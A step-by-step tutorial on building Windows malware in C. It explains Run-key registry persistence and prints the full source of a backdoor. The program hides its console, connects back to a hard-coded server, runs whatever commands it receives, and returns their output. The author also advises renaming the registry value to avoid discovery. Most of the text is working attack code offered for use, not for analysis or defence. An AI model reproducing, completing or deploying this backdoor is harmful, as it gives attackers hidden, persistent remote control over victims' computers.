Create your own malware using C: Adding functionalities

Creating persistence

In order to add a persistence functionality to our malware, we will need to register an entry into the Window’s registry.

In there, is a registry section in which if you add a value with a program’s path, it will let the program to be executed every time the computer is restarted. That section is located at:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

In that path, is where we are going to store our malware’s path, in order to execute it everytime the victim boots up their computer.

To do so, open the “Backdoor.c” file go to the “Shell” function and add a new “if” statements so we can create a personalised command that, when sent to the client it will add the registry value. The entire “if/else” statements would look like this:

if (strncmp("q", buffer, 1) == 0) {
  closesocket(sock);
  WSACleanup();
  exit(0);
} else if(strncmp("cd ", buffer, 3) == 0) {
  chdir(str_cut(buffer, 3, 100));
} else if(strncmp("persist", buffer, 7) == 0) {
  bootRun();
}

As you can see, I added a new comparison with the “persist” command, when sent by the server, it will execute the “bootRun” function (which we haven’t declared yet).

Let’s create an int function at the top of our code (below of int sock;):

int bootRun() {
}

Why are we defining this function as an integer? Because we want to return a value, for example, if everything executed correctly and there were no problems, the “bootRun” function will return a “0”, but if something went wrong, it will return “-1”.

Inside of the “bootRun” function, we will create two new variables which will contain a message to provide an output, one of them will be a “Success” message, and the other one will contain a “Something went wrong” message. Add the following code inside of your “bootRun” function:

char err[128] = "Failed\n";
char suc[128] = "Created Persistence At: HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n";

Note that in the “suc” variable (short of success), we are using “\” when printing the registry’s path. Why? Because the “" sign is usually added before an special character, for example “\n” which represents a new line, the “\” is telling our program to only print the “" character, but we need to put another “" before of it, otherwise the program would understand “\S”, “\M”, “\W”, “\C”, “\R” instead of “Software”, “Microsoft”, “Windows”, “CurrentVersion” and “Run”;

Once we have created these two variables, we will need two more:

TCHAR szPath[MAX_PATH];
DWORD pathLen = 0;

The first one, “szPath” is TCHAR typed. A TCHAR variable is a Windows 32 character string UNICODE and ANSI strings. As you can see, its size is “MAX_PATH” this is a constant used in Windows for specifying its maximum path length (which is 256 characters).

The second one “pathLen” is DWORD typed, which means that the “pathLen” variable will be an unsigned 32-bit unit of data, and it can contain an integer value. We are assigning to it, a zero value.

The next thing we will need to do, is to use the “pathLen” variable and set it as value, the return value of “GetModuleFileName”.

pathLen = GetModuleFileName(NULL, szPath, MAX_PATH);

This function takes three parameters:

  • NULL: A handler to a module (we use NULL to retrieve the current program’s path)
  • szPath: The pointer of a char variable
  • MAX_PATH: The char variable’s size

What this function does, is to retrieve the fully-qualified path of the the file that is passed to the function. In our case, we are getting the path of our malware.

Now, we will need to check if everything was executed successfully, so we will create a new if statement:

if(pathLen == 0) {
  send(sock, err, sizeof(err), 0);
  return -1;
}

That statement checks if the “pathLen” value is equals to zero (which would mean something went wrong), if so, send the value of the “err” variable to the server and returns the function with a negative value.

As we are creating a registry entry, we’ll need to create the registry key value in order to successfully input our program to the registry. We can do that in C by creating a new HKEY typed variable:

HKEY NewVal;

The “NewVal” variable is just a handler to an opened registry key. Now that we have this variable, we can create an if statement which will execute the function “RegOpenKey” to open our registry key:

if(RegOpenKey(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), &NewVal) != ERROR_SUCCESS) {
  send(sock, err, sizeof(err), 0);
  return -1;
}

If the registry key couldn’t be opened, the “err” variable value will be send to the server and the function will return a negative value.

The “RegOpenKey” function takes three arguments:

  • HKEY_CURRENT_USER: The part of the registry in which we are adding our key. In our case HKEY_CURRENT_USER.
  • TEXT: The path inside of the registry.
  • &NewVal: The memory location of our new value.

Now that we have opened up the registry, we need to set the value. First, let’s create another variable called “pathLenInBytes”:

DWORD pathLenInBytes = pathLen * sizeof(*szPath);

And the last thing that is left to do, is to add the value to our registry, send the success message to the server, close the registry key and exit the function.

We can add the value to the registry by adding to our function the following code:

if (RegSetValueEx(NewVal, TEXT("Hacked"), 0, REG_SZ, (LPBYTE)szPath, pathLenInBytes) != ERROR_SUCCESS) {
  RegCloseKey(NewVal);
  send(sock, err, sizeof(err), 0);
  return -1;
}

What we are doing is to check if the registry key could be created successfuly, if not, what is inside of the “if” statement is executed, the registry key is closed, the error message is sent to the server and the function returns -1.

The “RegSetValueEx” takes 6 parameters:

  • NewVal: A handler to an open registry key
  • TEXT(“Hacked”): The name of the value to set. You can set anything (Set anything different to hacked if you don’t want to be easily discovered)
  • “0”: This parameter is reserved and must be zero
  • “REG_SZ”: The Registry value type. “REG_SZ” represents a null-terminated string which could be either a Unicode or an ANSI string.
  • (LPBYTE)szPath: The data to be stored (In our case, our malware’s path)
  • pathLenInBytes: The size of the path in bytes

If the creation of the new value was successful and the program didn’t entered in what is inside of the “if” statement. What is left to do, is to close the registry key, send the success message to our sever and return 0.

RegCloseKey(NewVal);
send(sock, suc, sizeof(suc), 0);
return 0;

This is how our Backdoor.c file works so far:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <winsock2.h>
#include <windows.h>
#include <winuser.h>
#include <wininet.h>
#include <windowsx.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>

#define bzero(p, size) (void) memset((p), 0, (size))

int sock;

int bootRun()
{
	char err[128] = "Failed\n";
	char suc[128] = "Created Persistence At : HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n";
	TCHAR szPath[MAX_PATH];
	DWORD pathLen = 0;

	pathLen = GetModuleFileName(NULL, szPath, MAX_PATH);
	if (pathLen == 0) {
		send(sock, err, sizeof(err), 0);
		return -1;
	}

	HKEY NewVal;

	if (RegOpenKey(HKEY_CURRENT_USER, TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run"), &NewVal) != ERROR_SUCCESS) {
		send(sock, err, sizeof(err), 0);
		return -1;
	}
	DWORD pathLenInBytes = pathLen * sizeof(*szPath);
	if (RegSetValueEx(NewVal, TEXT("Hacked"), 0, REG_SZ, (LPBYTE)szPath, pathLenInBytes) != ERROR_SUCCESS) {
		RegCloseKey(NewVal);
		send(sock, err, sizeof(err), 0);
		return -1;
	}
	RegCloseKey(NewVal);
	send(sock, suc, sizeof(suc), 0);
	return 0;
}

char *
str_cut(char str[], int slice_from, int slice_to)
{
  if (str[0] == '\0')
    return NULL;

  char *buffer;
  size_t str_len, buffer_len;

  if (slice_to < 0 && slice_from > slice_to) {
    str_len = strlen(str);
    if (abs(slice_to) > str_len - 1)
            return NULL;

    if (abs(slice_from) > str_len)
            slice_from = (-1) * str_len;

    buffer_len = slice_to - slice_from;
    str += (str_len + slice_from);

  } else if (slice_from >= 0 && slice_to > slice_from) {
    str_len = strlen(str);

    if (slice_from > str_len - 1)
            return NULL;
    buffer_len = slice_to - slice_from;
    str += slice_from;

  } else
    return NULL;

  buffer = calloc(buffer_len, sizeof(char));
  strncpy(buffer, str, buffer_len);
  return buffer;
}

void Shell() {
  char buffer[1024];
  char container[1024];
  char total_response[1024];

  while(1) {
    jump:
    bzero(buffer, sizeof(buffer));
    bzero(container, sizeof(container));
    bzero(total_response, sizeof(total_response));

    recv(sock, buffer, 1024, 0);

    if(strncmp("q", buffer, 1) == 0) {
      closesocket(sock);
      WSACleanup();
      exit(0);
    } else if(strncmp("cd ", buffer, 3)) {
      chdir(str_cut(buffer, 3, 100));
    } else if(strncmp("persist", buffer, 7) == 0) {
      bootRun();
    } else {
      FILE *fp;
      fp = _popen(buffer, "r");
      while(fgets(container, 1024, fp) != NULL) {
        strcat(total_response, container);
      }
      send(sock, total_response, sizeof(total_response), 0);
      fclose(fp);
    }
  }
}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow) {
    HWND stealth;
    AllocConsole();
    stealth = FindWindowA("ConsoleWindowClass", NULL);

    ShowWindow(stealth, 0);

    struct sockaddr_in ServAddr;
    unsigned short ServPort;
    char *ServIP;
    WSADATA wsaData;

    ServIP = "192.168.1.3";
    ServPort = 50005;

    if(WSAStartup(MAKEWORD(2,0), &wsaData) != 0) {
        exit(1);
    }

    sock = socket(AF_INET, SOCK_STREAM, 0);

    memset(&ServAddr, 0, sizeof(ServAddr));
    ServAddr.sin_family = AF_INET;
    ServAddr.sin_addr.s_addr = inet_addr(ServIP);
    ServAddr.sin_port = htons(ServPort);

start:
    while (connect(sock, (struct sockaddr *) &ServAddr, sizeof(ServAddr) != 0)) {
      Sleep(10);
      goto start;
    }

    Shell();
}